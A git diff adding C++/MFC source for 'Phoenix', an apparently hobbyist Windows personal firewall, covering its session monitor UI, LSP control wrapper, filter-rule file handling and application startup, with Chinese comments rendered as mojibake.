hAppItem = FindAppItem(pSession->szPathName); + if(hAppItem == NULL) + { + hAppItem = m_MonitorTree.InsertItem(pSession->szPathName); + } + + // ͨ¹ýSESSION½á¹¹£¬¹¹½¨¿ÉÏÔʾµÄÎı¾ + CString sText = BuildSessionText(pSession); + + // ÔÚÓ¦ÓóÌÐòÏîÏ£¬¸ù¾ÝÌ×½Ó×Ö¾ä±ú²é¿´´Ë»á»°ÊÇ·ñÒѾ­´æÔÚ£¬ + // Èç¹û´æÔÚ£¬½öÉèÖÃ×ÓÏîµÄÎı¾£¬Èç¹û²»´æÔÚ£¬Òª´´½¨Ò»¸öеÄ×ÓÏî + HTREEITEM hSessionItem = FindSessionItem(hAppItem, pSession); + if(hSessionItem != NULL) + { + m_MonitorTree.SetItemText(hSessionItem, sText); + } + else + { + hSessionItem = m_MonitorTree.InsertItem(sText,hAppItem); + m_MonitorTree.SetItemData(hSessionItem, pSession->s); + } +} + +HTREEITEM CMonitorPage::FindAppItem(TCHAR *pszPathName) +{ + // ±éÀúËùÓÐÓ¦ÓóÌÐòÏ¿´¿´Ö¸¶¨Ó¦ÓóÌÐòÊÇ·ñ´æÔÚ + HTREEITEM hAppItem = m_MonitorTree.GetNextItem(TVI_ROOT, TVGN_CHILD); + while(hAppItem != NULL) + { + if(m_MonitorTree.GetItemText(hAppItem).CompareNoCase(pszPathName) == 0) + return hAppItem; // ´æÔÚ£¬·µ»ØÏî¾ä±ú + + hAppItem = m_MonitorTree.GetNextItem(hAppItem, TVGN_NEXT); + } + return NULL; +} + +HTREEITEM CMonitorPage::FindSessionItem(HTREEITEM hAppItem, SESSION *pSession) +{ + // ±äÁ¿ËùÓлỰÏ¿´¿´Ö¸¶¨»á»°ÊÇ·ñ´æÔÚ + HTREEITEM hSessionItem = m_MonitorTree.GetNextItem(hAppItem, TVGN_CHILD); + while(hSessionItem != NULL) + { + if(pSession->s == m_MonitorTree.GetItemData(hSessionItem)) + return hSessionItem; // ´æÔÚ£¬·µ»ØÏî¾ä±ú + + hSessionItem = m_MonitorTree.GetNextItem(hSessionItem, TVGN_NEXT); + } + return NULL; +} + +CString CMonitorPage::BuildSessionText(SESSION *pSession) +{ + CString sText; + + CString sServType, sLocal, sRemote, sDirection; + + // ±¾µØIPµØÖ· + BYTE *pByte = (BYTE *)&pSession->ulLocalIP; // ×¢Ò⣬ÕâÀïµÄIPµØÖ·ÊÇÍøÂç×Ö½Ú˳Ðò + sLocal.Format(L"%d.%d.%d.%d£º%d", pByte[0], pByte[1], pByte[2], pByte[3], pSession->usLocalPort); + + // Ô¶³ÌIPµØÖ· + pByte = (BYTE *)&pSession->ulRemoteIP; + sRemote.Format(L"%d.%d.%d.%d£º%d", pByte[0], pByte[1], pByte[2], pByte[3], pSession->usRemotePort); + + // ·þÎñÀàÐÍ + sServType = L"ÆäËü"; + switch(pSession->nProtocol) + { + case RULE_SERVICE_TYPE_ALL: + sServType.Format(L"ËùÓÐ"); + break; + case RULE_SERVICE_TYPE_TCP: + sServType.Format(L"TCP"); + break; + case RULE_SERVICE_TYPE_UDP: + sServType.Format(L"UDP"); + break; + case RULE_SERVICE_TYPE_FTP: + sServType.Format(L"FTP"); + break; + case RULE_SERVICE_TYPE_TELNET: + sServType.Format(L"TELNET"); + break; + case RULE_SERVICE_TYPE_HTTP: + sServType.Format(L"HTTP"); + break; + case RULE_SERVICE_TYPE_NNTP: + sServType.Format(L"NNTP"); + break; + case RULE_SERVICE_TYPE_POP3: + sServType.Format(L"POP3"); + break; + case RULE_SERVICE_TYPE_SMTP: + sServType.Format(L"SMTP"); + break; + } + + // ·½Ïò + switch(pSession->ucDirection) + { + case RULE_DIRECTION_IN: + sDirection = L"<¡ª¡ª"; + break; + case RULE_DIRECTION_OUT: + sDirection = L"¡ª¡ª>"; + break; + case RULE_DIRECTION_IN_OUT: + sDirection = L"<¡ª¡ª>"; + break; + default: + sDirection = L"¡ª¡ª"; + } + + sText.Format(L" %s ЭÒé ¡¾%s¡¿ %s ¡¾%s¡¿ ", sServType, sLocal, sDirection, sRemote); + return sText; +} + + +void CMonitorPage::DeleteASession(SESSION *pSession, BOOL bAppExit) +{ + TRACE(L" DeleteASession... "); + + HTREEITEM hAppItem = FindAppItem(pSession->szPathName); + if(hAppItem != NULL) + { + if(bAppExit) // Ó¦ÓóÌÐòÍ˳ö£¬É¾³ýÕû¸öÓ¦ÓóÌÐòÏ°üº¬ÏÂÃæµÄ»á»°×ÓÏ + { + m_MonitorTree.DeleteItem(hAppItem); + } + else // ½ö»á»°É¾³ý£¬ÔÚÓ¦ÓóÌÐòÏîÏÂÃæÕÒµ½Õâ¸ö»á»°£¬½«Ö®É¾³ý + { + HTREEITEM hSessionItem = FindSessionItem(hAppItem, pSession); + if(hSessionItem != NULL) + { + m_MonitorTree.DeleteItem(hSessionItem); + } + // ûÓÐSession´æÔÚÁË£¬½«Ó¦ÓóÌÐòÏîҲɾ³ý + if(m_MonitorTree.GetNextItem(hAppItem, TVGN_CHILD) == NULL) + m_MonitorTree.DeleteItem(hAppItem); + } + } +} diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/MonitorPage.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/MonitorPage.h new file mode 100644 index 0000000..110517b --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/MonitorPage.h @@ -0,0 +1,63 @@ +#if !defined(AFX_MONITORPAGE_H__8399617D_A7AB_4EF0_9CCF_E25EC885167D__INCLUDED_) +#define AFX_MONITORPAGE_H__8399617D_A7AB_4EF0_9CCF_E25EC885167D__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// MonitorPage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CMonitorPage dialog + +class CMonitorPage : public CPropertyPage +{ + DECLARE_DYNCREATE(CMonitorPage) + +// Construction +public: + CMonitorPage(); + ~CMonitorPage(); + + BOOL m_bStop; + + static void HandleNotifySession(SESSION *pSession, int nCode); + + + + void AddASession(SESSION *pSession); + void DeleteASession(SESSION *pSession, BOOL bAppExit); + + HTREEITEM FindAppItem(TCHAR *pszPathName); + HTREEITEM FindSessionItem(HTREEITEM hAppItem, SESSION *pSession); + + CString BuildSessionText(SESSION *pSession); + +// Dialog Data + //{{AFX_DATA(CMonitorPage) + enum { IDD = IDD_MONITOR }; + CTreeCtrl m_MonitorTree; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CMonitorPage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CMonitorPage) + virtual BOOL OnInitDialog(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_MONITORPAGE_H__8399617D_A7AB_4EF0_9CCF_E25EC885167D__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PIOControl.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/PIOControl.cpp new file mode 100644 index 0000000..e2d3c46 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PIOControl.cpp @@ -0,0 +1,92 @@ + + +#include "stdafx.h" + +#include "PIOControl.h" + + +CPIOControl::CPIOControl() +{ + m_fnIoControl = NULL; + + // ¼ÓÔØDLLÄ£¿é£¬»ñÈ¡PLSPIoControlº¯ÊýµÄÖ¸Õë + TCHAR szPathName[256]; + TCHAR* p; + if(::GetFullPathName(PHOENIX_SERVICE_DLL_NAME, 256, szPathName, &p) != 0) + { + m_hLSPModule = ::LoadLibrary(szPathName); + if(m_hLSPModule != NULL) + { + m_fnIoControl = (PFNLSPIoControl)::GetProcAddress(m_hLSPModule, "PLSPIoControl"); + } + } + if(m_fnIoControl == NULL) + { + ::MessageBox(NULL, _T("Can not find LSP module"), _T("error"), 0); + exit(0); + } +} + +CPIOControl::~CPIOControl() +{ + if(m_hLSPModule != NULL) + ::FreeLibrary(m_hLSPModule); +} + +void CPIOControl::SetWorkMode(int nWorkMode) +{ + // ÉèÖù¤×÷ģʽ + m_IoControl.ucWorkMode = nWorkMode; + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_WORK_MODE); +} + +int CPIOControl::GetWorkMode() +{ + // »ñÈ¡¹¤×÷ģʽ + return m_fnIoControl(&m_IoControl, IO_CONTROL_GET_WORK_MODE); +} + +void CPIOControl::SetRuleFile(RULE_FILE_HEADER *pHeader, RULE_ITEM *pRules) +{ + // ÉêÇëÒ»¸öÁÙʱµÄRULE_FILE¶ÔÏó + RULE_FILE RuleFile; + memcpy(&RuleFile.header, pHeader, sizeof(RULE_FILE_HEADER)); + memcpy(&RuleFile.LspRules, pRules, sizeof(RULE_ITEM) * pHeader->ulLspRuleCount); + + // ÉèÖùýÂ˹æÔò + m_IoControl.pRuleFile = &RuleFile; + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_RULE_FILE); +} + +void CPIOControl::SetPhoenixInstance(HWND hWnd, TCHAR *pszPathName) +{ + // ÉèÖÃʵÀý¾ä±ú + m_IoControl.hPhoenixWnd = hWnd; + wcscpy(m_IoControl.szPath, pszPathName); + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_PHOENIX_INSTANCE); +} + +void CPIOControl::GetSession(SESSION *pSession, int nIndex) +{ + // »ñÈ¡ÓÐʼþ·¢ÉúµÄ»á»° + m_IoControl.pSession = pSession; + m_IoControl.nSessionIndex = nIndex; + m_fnIoControl(&m_IoControl, IO_CONTROL_GET_SESSION); +} + +void CPIOControl::SetQueryApp(int nIndex, BOOL bPass) +{ + // ·µ»Ø²éѯ½á¹û + m_IoControl.nSessionIndex = nIndex; + m_IoControl.ucWorkMode = bPass; + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_QUERY_SESSION); +} + +LPCTSTR CPIOControl::GetQueryApp(int nIndex) +{ + // »ñÈ¡²éѯµÄÓ¦ÓóÌÐò + m_IoControl.nSessionIndex = nIndex; + m_fnIoControl(&m_IoControl, IO_CONTROL_GET_QUERY_SESSION); + return m_IoControl.szPath; +} + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PIOControl.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/PIOControl.h new file mode 100644 index 0000000..00d2c0a --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PIOControl.h @@ -0,0 +1,40 @@ +//////////////////////////////////////// +// PIOControl.hÎļþ + +// ¹ÜÀíDLL¹²ÏíÄÚ´æ + +#include "../common/PMacRes.h" +#include "../common/TypeStruct.h" + +#ifndef __PIOCONTROL_H__ +#define __PIOCONTROL_H__ + +class CPIOControl +{ +public: + CPIOControl(); + ~CPIOControl(); + // ÉèÖù¤×÷ģʽ + void SetWorkMode(int nWorkMode); + // »ñÈ¡¹¤×÷ģʽ + int GetWorkMode(); + + // ÉèÖùæÔòÎļþ + void SetRuleFile(RULE_FILE_HEADER *pHeader, RULE_ITEM *pRules); + // ÉèÖÃÖ÷Ä£¿é¾ä±ú + void SetPhoenixInstance(HWND hWnd, TCHAR *pszPathName); + + // »ñȡѯÎʵÄÓ¦ÓóÌÐòºÍÉèÖÃѯÎʵĽá¹û + LPCTSTR GetQueryApp(int nIndex); + void SetQueryApp(int nIndex, BOOL bPass); + + // »ñÈ¡Ò»¸ö»á»°ÐÅÏ¢ + void GetSession(SESSION *pSession, int nIndex); + +private: + PFNLSPIoControl m_fnIoControl; + HMODULE m_hLSPModule; + LSP_IO_CONTROL m_IoControl; +}; + +#endif // __PIOCONTROL_H__ \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PRuleFile.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/PRuleFile.cpp new file mode 100644 index 0000000..cf7126c --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PRuleFile.cpp @@ -0,0 +1,250 @@ +////////////////////////////////////////////////// +// PRuleFile.cpp + +#include "stdafx.h" + +#include "PRuleFile.h" + + +CPRuleFile::CPRuleFile() +{ + // »ñÈ¡¹æÔòÎļþµÄÍêÕû·¾¶ + TCHAR *p; + ::GetFullPathName(RULE_FILE_NAME, MAX_PATH, m_szPathName, &p); + + m_hFile = INVALID_HANDLE_VALUE; + + // Ϊ¹ýÂ˹æÔòÔ¤ÉêÇëÄÚ´æ¿Õ¼ä + m_nLspMaxCount = 50; + m_nKerMaxCount = 50; + m_pLspRules = new RULE_ITEM[m_nLspMaxCount]; + m_pKerRules = new PassthruFilter[m_nKerMaxCount]; + m_bLoad = FALSE; +} + +CPRuleFile::~CPRuleFile() +{ + if(m_hFile != INVALID_HANDLE_VALUE) + ::CloseHandle(m_hFile); + delete[] m_pLspRules; + delete[] m_pKerRules; +} + + +void CPRuleFile::InitFileData() +{ + // ³õʼ»¯ÎļþÍ· + wcscpy(m_header.szSignature, RULE_HEADER_SIGNATURE); + m_header.ulHeaderLength = sizeof(m_header); + + m_header.ucMajorVer = RULE_HEADER_MAJOR; + m_header.ucMinorVer = RULE_HEADER_MINOR; + + m_header.dwVersion = RULE_HEADER_VERSION; + + wcscpy(m_header.szWebURL, RULE_HEADER_WEB_URL); + + wcscpy(m_header.szEmail, RULE_HEADER_EMAIL); + + m_header.ulLspRuleCount = 0; + m_header.ulKerRuleCount = 0; + + m_header.ucLspWorkMode = PF_QUERY_ALL; + m_header.ucKerWorkMode = IM_START_FILTER; + + m_header.bAutoStart = FALSE; +} + +// ½«¹æÔòдÈëÖ¸¶¨Îļþ +BOOL CPRuleFile::WriteRules(TCHAR *pszPathName) +{ + DWORD dw; + if(m_hFile != INVALID_HANDLE_VALUE) + { + ::CloseHandle(m_hFile); + } + // ´ò¿ªÎļþ + m_hFile = ::CreateFile(pszPathName, GENERIC_WRITE, + 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if(m_hFile != INVALID_HANDLE_VALUE) + { + // дÎļþÍ· + ::WriteFile(m_hFile, &m_header, sizeof(m_header), &dw, NULL); + // дӦÓòã¹ýÂ˹æÔò + if(m_header.ulLspRuleCount > 0) + { + ::WriteFile(m_hFile, + m_pLspRules, m_header.ulLspRuleCount * sizeof(RULE_ITEM), &dw, NULL); + } + // дºËÐIJã¹ýÂ˹æÔò + if(m_header.ulKerRuleCount > 0) + { + ::WriteFile(m_hFile, + m_pKerRules, m_header.ulKerRuleCount * sizeof(PassthruFilter), &dw, NULL); + } + + ::CloseHandle(m_hFile); + m_hFile = INVALID_HANDLE_VALUE; + return TRUE; + } + return FALSE; +} + +BOOL CPRuleFile::OpenFile() +{ + // Ê×Ïȱ£Ö¤ÎļþÒѾ­´æÔÚ + if(::GetFileAttributes(m_szPathName) == -1) + { + InitFileData(); + if(!WriteRules(m_szPathName)) + return FALSE; + } + // Èç¹ûûÓйرգ¬¾Í¹Ø±Õ + if(m_hFile != INVALID_HANDLE_VALUE) + ::CloseHandle(m_hFile); + + // ÒÔÖ»¶Á·½Ê½´ò¿ªÎļþ + m_hFile = ::CreateFile(m_szPathName, GENERIC_READ, + FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + return m_hFile != INVALID_HANDLE_VALUE; +} + +/////////////////////////////////////////////////////////////////////////////////////// +// ½Ó¿Ú³ÉÔ± + +BOOL CPRuleFile::LoadRules() +{ + // ÏÈ´ò¿ªÎļþ + if((!OpenFile()) || (::SetFilePointer(m_hFile, 0, NULL, FILE_BEGIN) == -1)) + return FALSE; + + // ´ÓÎļþÖжÁÈ¡Êý¾Ý + DWORD dw = 0; + do + { + // ¶ÁÎļþÍ· + ::ReadFile(m_hFile, &m_header, sizeof(m_header), &dw, NULL); + // Èç¹ûÇ©Ãû²»ÕýÈ·£¬Í˳ö + if((dw != sizeof(m_header)) || + (_tcscmp(m_header.szSignature, RULE_HEADER_SIGNATURE) != 0)) + break; + + // ¶ÁÓ¦Óòã¹ýÂ˹æÔò + if(m_header.ulLspRuleCount > 0) + { + if(m_header.ulLspRuleCount > (ULONG)m_nLspMaxCount) + { + m_nLspMaxCount = m_header.ulLspRuleCount; + delete[] m_pLspRules; + m_pLspRules = new RULE_ITEM[m_nLspMaxCount]; + } + if(!::ReadFile(m_hFile, m_pLspRules, + m_header.ulLspRuleCount * sizeof(RULE_ITEM), &dw, NULL)) + break; + } + + // ¶ÁºËÐIJã¹ýÂ˹æÔò + if(m_header.ulKerRuleCount > 0) + { + if(m_header.ulKerRuleCount > (ULONG)m_nKerMaxCount) + { + m_nKerMaxCount = m_header.ulKerRuleCount; + delete[] m_pKerRules; + m_pKerRules = new PassthruFilter[m_nKerMaxCount]; + } + if(!::ReadFile(m_hFile, m_pKerRules, + m_header.ulKerRuleCount * sizeof(PassthruFilter), &dw, NULL)) + break; + } + + m_bLoad = TRUE; + } + while(FALSE); + + ::CloseHandle(m_hFile); + m_hFile = INVALID_HANDLE_VALUE; + + return m_bLoad; +} + +BOOL CPRuleFile::SaveRules() +{ + // Èç¹ûûÓмÓÔØ£¬Í˳ö + if(!m_bLoad) + return FALSE; + // ±£´æ¹æÔò + return WriteRules(m_szPathName); +} + +BOOL CPRuleFile::AddLspRules(RULE_ITEM *pItem, int nCount) +{ + if((pItem == NULL) || !m_bLoad) + return FALSE; + + // Ê×Ïȱ£Ö¤ÓÐ×ã¹»´óµÄÄÚ´æ¿Õ¼ä + if(m_header.ulLspRuleCount + nCount > (ULONG)m_nLspMaxCount) + { + m_nLspMaxCount = 2*(m_header.ulLspRuleCount + nCount); + + RULE_ITEM *pTmp = new RULE_ITEM[m_header.ulLspRuleCount]; + memcpy(pTmp, m_pLspRules, m_header.ulLspRuleCount); + + delete[] m_pLspRules; + m_pLspRules = new RULE_ITEM[m_nLspMaxCount]; + memcpy(m_pLspRules, pTmp, m_header.ulLspRuleCount); + delete[] pTmp; + } + // Ìí¼Ó¹æÔò + memcpy(m_pLspRules + m_header.ulLspRuleCount, pItem, nCount * sizeof(RULE_ITEM)); + m_header.ulLspRuleCount += nCount; + return TRUE; +} + +BOOL CPRuleFile::AddKerRules(PassthruFilter *pItem, int nCount) +{ + if((pItem == NULL) || !m_bLoad) + return FALSE; + + // Ê×Ïȱ£Ö¤ÓÐ×ã¹»´óµÄÄÚ´æ¿Õ¼ä + if(m_header.ulKerRuleCount + nCount > (ULONG)m_nKerMaxCount) + { + m_nKerMaxCount = 2*(m_header.ulKerRuleCount + nCount); + + PassthruFilter *pTmp = new PassthruFilter[m_header.ulKerRuleCount]; + memcpy(pTmp, m_pKerRules, m_header.ulKerRuleCount); + + delete[] m_pKerRules; + m_pKerRules = new PassthruFilter[m_nKerMaxCount]; + memcpy(m_pKerRules, pTmp, m_header.ulKerRuleCount); + delete[] pTmp; + } + // Ìí¼Ó¹æÔò + memcpy(m_pKerRules + m_header.ulKerRuleCount, pItem, nCount * sizeof(PassthruFilter)); + m_header.ulKerRuleCount += nCount; + return TRUE; +} + +BOOL CPRuleFile::DelLspRule(int nIndex) +{ + if(((ULONG)nIndex >= m_header.ulLspRuleCount) || !m_bLoad) + return FALSE; + // ɾ³ýÒ»¸ö³ÉÔ± + memcpy(&m_pLspRules[nIndex], + &m_pLspRules[nIndex + 1], (m_header.ulLspRuleCount - nIndex) * sizeof(RULE_ITEM)); + + m_header.ulLspRuleCount --; + return TRUE; +} + +BOOL CPRuleFile::DelKerRule(int nIndex) +{ + if(((ULONG)nIndex >= m_header.ulKerRuleCount) || !m_bLoad) + return FALSE; + // ɾ³ýÒ»¸ö³ÉÔ± + memcpy(&m_pKerRules[nIndex], + &m_pKerRules[nIndex + 1], (m_header.ulKerRuleCount - nIndex) * sizeof(PassthruFilter)); + + m_header.ulKerRuleCount --; + return TRUE; +} diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PRuleFile.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/PRuleFile.h new file mode 100644 index 0000000..cf5df05 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PRuleFile.h @@ -0,0 +1,54 @@ +////////////////////////////////////// +// PRuleFile.h + +// ¹æÔòÎļþ + +#include "../common/TypeStruct.h" +#include "../common/PMacRes.h" + +// ´Ó½«¹æÔò´ÓÎļþ¶Á³ö£¬±£´æµ½CPRuleFile¶ÔÏóÖС£ÔÙ×öÏà·´µÄ¶¯×÷ +// Phoenix Personal firewall + +#ifndef __PRULEFILE_H__ +#define __PRULEFILE_H__ + +class CPRuleFile +{ +public: + CPRuleFile(); + ~CPRuleFile(); + + // ´ÓÎļþ¼ÓÔعýÂ˹æÔò + BOOL LoadRules(); + // ½«¹ýÂ˹æÔò±£´æµ½Îļþ + BOOL SaveRules(); + + // Ìí¼ÓnCount¸öÓ¦Óò㣨ºËÐIJ㣩¹ýÂ˹æÔò + BOOL AddLspRules(RULE_ITEM *pItem, int nCount); + BOOL AddKerRules(PassthruFilter *pItem, int nCount); + + // ɾ³ýÒ»¸öÓ¦Óò㣨ºËÐIJ㣩¹ýÂ˹æÔò + BOOL DelLspRule(int nIndex); + BOOL DelKerRule(int nIndex); + + // ÎļþÊý¾Ý + RULE_FILE_HEADER m_header; // ÎļþÍ· + RULE_ITEM *m_pLspRules; // Ó¦Óòã¹æÔòÖ¸Õë + PassthruFilter *m_pKerRules; // ºËÐIJã¹æÔòÖ¸Õë + +private: + // ³õʼ»¯ÎļþÊý¾Ý + void InitFileData(); + // ´ò¿ª´ÅÅÌÎļþ£¬Èç¹ûûÓлá×Ô¶¯´´½¨£¬²¢½øÐгõʼ»¯ + BOOL OpenFile(); + // ½«¹æÔò±£´æµ½Ö¸¶¨Îļþ + BOOL WriteRules(TCHAR *pszPathName); + + HANDLE m_hFile; + TCHAR m_szPathName[MAX_PATH]; + int m_nLspMaxCount; + int m_nKerMaxCount; + BOOL m_bLoad; +}; + +#endif // __PRULEFILE_H__ \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.cpp new file mode 100644 index 0000000..b41264e --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.cpp @@ -0,0 +1,158 @@ +// PhoenixFW.cpp : Defines the class behaviors for the application. +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CPhoenixApp + +BEGIN_MESSAGE_MAP(CPhoenixApp, CWinApp) + //{{AFX_MSG_MAP(CPhoenixApp) + // NOTE - the ClassWizard will add and remove mapping macros here. + // DO NOT EDIT what you see in these blocks of generated code! + //}}AFX_MSG + ON_COMMAND(ID_HELP, CWinApp::OnHelp) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CPhoenixApp construction + +CPhoenixApp::CPhoenixApp() +{ + // TODO: add construction code here, + // Place all significant initialization in InitInstance +} + +CPhoenixApp theApp; + +CPRuleFile g_RuleFile; // ¹ÜÀí¹æÔòÎļþ +CPIOControl *g_pIoControl = NULL; // ¹ÜÀíDLL¹²ÏíÊý¾Ý + +BOOL CPhoenixApp::InitInstance() +{ + // ÔËÐÐÒ»´Î + TCHAR szModule[] = L"PhoenixFW"; + m_hSemaphore = ::CreateSemaphore(NULL, 0, 1, szModule); + if(::GetLastError() == ERROR_ALREADY_EXISTS) + { + AfxMessageBox(L" ÒѾ­ÓÐÒ»¸öʵÀýÔÚÔËÐУ¡"); + return FALSE; + } + + // ¼ÓÔعýÂËÎļþ + if(!g_RuleFile.LoadRules()) + { + AfxMessageBox(L" ¼ÓÔØÅäÖÃÎļþ³ö´í£¡"); + return FALSE; + } + + // ´´½¨DLL I/O¿ØÖƶÔÏ󣬼ÓÔØDLLÄ£¿é + g_pIoControl = new CPIOControl; + // Ó¦ÓÃÎļþÖеÄÊý¾Ý£¬ÉèÖÃÓ¦ÓòãºÍºËÐIJã¹ýÂ˹æÔò + ApplyFileData(); + + ////////////////////////////// + + AfxEnableControlContainer(); + + // Standard initialization + // If you are not using these features and wish to reduce the size + // of your final executable, you should remove from the following + // the specific initialization routines you do not need. + +#ifdef _AFXDLL + Enable3dControls(); // Call this when using MFC in a shared DLL +#else + Enable3dControlsStatic(); // Call this when linking to MFC statically +#endif + + CMainDlg dlg; + m_pMainWnd = &dlg; + int nResponse = dlg.DoModal(); + if (nResponse == IDOK) + { + // TODO: Place code here to handle when the dialog is + // dismissed with OK + } + else if (nResponse == IDCANCEL) + { + // TODO: Place code here to handle when the dialog is + // dismissed with Cancel + } + return FALSE; +} + +int CPhoenixApp::ExitInstance() +{ + if(g_pIoControl != NULL) + { + g_pIoControl->SetWorkMode(PF_PASS_ALL); + g_pIoControl->SetPhoenixInstance(NULL, L""); + delete g_pIoControl; + } + IMClearRules(); + ::CloseHandle(m_hSemaphore); + return CWinApp::ExitInstance(); +} + +BOOL CPhoenixApp::SetAutoStart(BOOL bStart) +{ + // ¸ù¼ü¡¢×Ó¼üÃû³Æ¡¢ºÍµ½×Ó¼üµÄ¾ä±ú + HKEY hRoot = HKEY_LOCAL_MACHINE; + TCHAR *szSubKey = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run"; + HKEY hKey; + + // ´ò¿ªÖ¸¶¨×Ó¼ü + DWORD dwDisposition = REG_OPENED_EXISTING_KEY; // Èç¹û²»´æÔÚ²»´´½¨ + LONG lRet = ::RegCreateKeyEx(hRoot, szSubKey, 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); + if(lRet != ERROR_SUCCESS) + return FALSE; + + if(bStart) + { + // µÃµ½µ±Ç°Ö´ÐÐÎļþµÄÎļþÃû£¨°üº¬Â·¾¶£© + char szModule[MAX_PATH] ; + ::GetModuleFileNameA(NULL, szModule, MAX_PATH); + // ´´½¨Ò»¸öеļüÖµ£¬ÉèÖüüÖµÊý¾ÝΪÎļþÃû + lRet = ::RegSetValueExA(hKey, "PhoenixFW", 0, REG_SZ, (BYTE*)szModule, strlen(szModule)); + } + else + { + // ɾ³ý±¾³ÌÐòµÄ¼üÖµ + lRet = ::RegDeleteValueA(hKey, "PhoenixFW"); + } + + // ¹Ø±Õ×Ó¼ü¾ä±ú + ::RegCloseKey(hKey); + return lRet == ERROR_SUCCESS; +} + +BOOL CPhoenixApp::ApplyFileData() +{ + // ÉèÖù¤×÷ģʽ + g_pIoControl->SetWorkMode(g_RuleFile.m_header.ucLspWorkMode); + + // ÉèÖÃÓ¦Óòã¹æÔòÎļþ + g_pIoControl->SetRuleFile(&g_RuleFile.m_header, g_RuleFile.m_pLspRules); + + // ÉèÖúËÐIJã¹æÔòÎļþ + IMClearRules(); + if(g_RuleFile.m_header.ucKerWorkMode == IM_START_FILTER) + { + if(!IMSetRules(g_RuleFile.m_pKerRules, g_RuleFile.m_header.ulKerRuleCount)) + { + AfxMessageBox(L" ÉèÖúËÐIJã¹æÔò³ö´í£¡\n"); + return FALSE; + } + } + return TRUE; +} \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.h new file mode 100644 index 0000000..1f4498d --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.h @@ -0,0 +1,56 @@ +// PhoenixFW.h : main header file for the PHOENIXFW application +// + +#if !defined(AFX_PHOENIXFW_H__CFE3B11F_FE91_417C_97CA_EEC655927041__INCLUDED_) +#define AFX_PHOENIXFW_H__CFE3B11F_FE91_417C_97CA_EEC655927041__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#ifndef __AFXWIN_H__ + #error include 'stdafx.h' before including this file for PCH +#endif + +#include "resource.h" // main symbols + +///////////////////////////////////////////////////////////////////////////// +// CPhoenixApp: +// See PhoenixFW.cpp for the implementation of this class +// + +class CPhoenixApp : public CWinApp +{ +protected: + HANDLE m_hSemaphore; + +public: + CPhoenixApp(); + + static BOOL SetAutoStart(BOOL bStart); + static BOOL ApplyFileData(); + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CPhoenixApp) + public: + virtual BOOL InitInstance(); + virtual int ExitInstance(); + //}}AFX_VIRTUAL + +// Implementation + + //{{AFX_MSG(CPhoenixApp) + // NOTE - the ClassWizard will add and remove member functions here. + // DO NOT EDIT what you see in these blocks of generated code ! + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + + +///////////////////////////////////////////////////////////////////////////// + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_PHOENIXFW_H__CFE3B11F_FE91_417C_97CA_EEC655927041__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.rc b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.rc new file mode 100644 index 0000000..675133b --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/PhoenixFW.rc @@ -0,0 +1,396 @@ +//Microsoft Developer Studio generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Chinese 